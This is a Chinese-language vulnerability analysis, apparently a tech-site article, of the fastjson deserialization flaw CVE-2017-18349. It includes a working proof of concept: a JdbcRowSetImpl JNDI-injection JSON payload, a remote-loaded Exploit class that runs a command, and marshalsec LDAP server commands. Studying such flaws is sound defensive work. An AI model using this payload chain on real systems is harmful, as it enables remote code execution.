如何进行fastjson小于1.2.25版本反序列CVE-2017-18349漏洞分析,针对这个问题,这篇文章详细介绍了相对应的分析和解答,希望可以帮助更多想解决这个问题的小伙伴找到更简单易行的方法。
下面将对fastjson<1.2.25反序列漏洞进行漏洞原理分析、本地调试验证等。
Fastjson<1.2.25
@type属性:Fastjson支持在json数据中使用@type属性,该json数据会被反序列化成指定的对象类型,在反序列化过程中fastjson会调用parse(jsonStr)函数尝试对对象的属性进行赋值,若对象的javabean存在属性的setter方法则调用set方法,反之调用get方法。
import java.util.Map; public class User { private String name; private Map map; public String getName() { System.out.println("getName is running ..."); return name; } public void setName(String name) { System.out.println("setName is running ..."); this.name = name; } @Override public String toString() { return "User{" + "name='" + name + '\'' + '}'; } public Map getmap() { try { Runtime.getRuntime().exec("calc"); } catch (Exception e) { e.printStackTrace(); } return map; } } public class Test { public static void main(String[] args) { String json = "{\"@type\":\"bean.User\", \"name\":\"zhangsan\"}"; json = "{\"@type\":\"bean.User\", \"name\":\"zhangsan\",\"map\":{}}"; Object obj = JSON.parse(json); System.out.println(obj); //输出User{name='zhangsan'},弹出计算器 } }
经过代码追踪,发现属性赋值是在FieldDeserializer.java的setValue函数中,因为map属性不存在set方法,故在setValue函数中fieldInfo.getOnly为true,method为getmap方法
public void setValue(Object object, Object value) { if (value == null // && fieldInfo.fieldClass.isPrimitive()) { return; } try { Method method = fieldInfo.method; if (method != null) { if (fieldInfo.getOnly) {//set方法不存在,根据类型调用get方法 if (fieldInfo.fieldClass == AtomicInteger.class) { AtomicInteger atomic = (AtomicInteger) method.invoke(object); if (atomic != null) { atomic.set(((AtomicInteger) value).get()); } } else if (fieldInfo.fieldClass == AtomicLong.class) { AtomicLong atomic = (AtomicLong) method.invoke(object); if (atomic != null) { atomic.set(((AtomicLong) value).get()); } } else if (fieldInfo.fieldClass == AtomicBoolean.class) { AtomicBoolean atomic = (AtomicBoolean) method.invoke(object); if (atomic != null) { atomic.set(((AtomicBoolean) value).get()); } } else if (Map.class.isAssignableFrom(method.getReturnType())) { Map map = (Map) method.invoke(object); if (map != null) { map.putAll((Map) value); } } else { Collection collection = (Collection) method.invoke(object); if (collection != null) { collection.addAll((Collection) value); } } } else {//set方法存在,调用set方法 method.invoke(object, value); } return; }
调试可以发现调用链如下:
(2)漏洞利用,经过上述分析,满足一下任意条件可进行RCE
找到一个类,存在一个属性,属性类型为AtomicInteger、AtomicLong、AtomicBoolean、Map或Collection其中一种类型,定义了属性的get方法但未定义set方法,在get方法中可构造gadget链达到代码执行目的。
找到一个类,存在一个属性,定义了set方法,在方法中可构造gadget链达到代码执行目的。
找到一个类JdbcRowSetImpl,在变量autoCommit的set函数中,会调用connect函数:
connect函数中,会获取private成员变量dataSourceName,作为lookup函数的参数进行服务获取,这时JNDI注入攻击走起:
步骤1:启动HTTP服务并放置构造函数具有RCE的攻击类,启动LDAP服务
import javax.naming.Context; import javax.naming.Name; import javax.naming.spi.ObjectFactory; import java.io.IOException; import java.rmi.Remote; import java.rmi.server.UnicastRemoteObject; import java.util.Hashtable; public class Exploit extends UnicastRemoteObject implements ObjectFactory, Remote { public Exploit() throws IOException { System.out.println("Exploit"); Runtime.getRuntime().exec("calc"); } public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception { System.out.println("getObjectInstance"); Runtime.getRuntime().exec("calc"); return null; } }
python -m SimpleHTTPServer 80 java -cp .\marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1/#Exploit 7777
步骤2:触发json解析,实现计算器弹窗
String className = "com.sun.rowset.JdbcRowSetImpl"; String dataSourceName = "ldap://127.0.0.1:7777/any"; json = "{\"@type\":\"" + className + "\"," + "\"dataSourceName\":\"" + dataSourceName + "\"," + "\"autoCommit\":true" + "}"; //JDK 8u191及以后,默认为false,以下为了调试手工改了配置 System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true"); JSON.parse(json);
针对高版本JDK,默认配置限制了远程factory类的下载,实际环境中可以用LDAP+本地反序列化的方式去进行利用。
关于如何进行fastjson小于1.2.25版本反序列CVE-2017-18349漏洞分析问题的解答就分享到这里了,希望以上内容可以对大家有一定的帮助,如果你还有很多疑惑没有解开,可以关注亿速云行业资讯频道了解更多相关知识。
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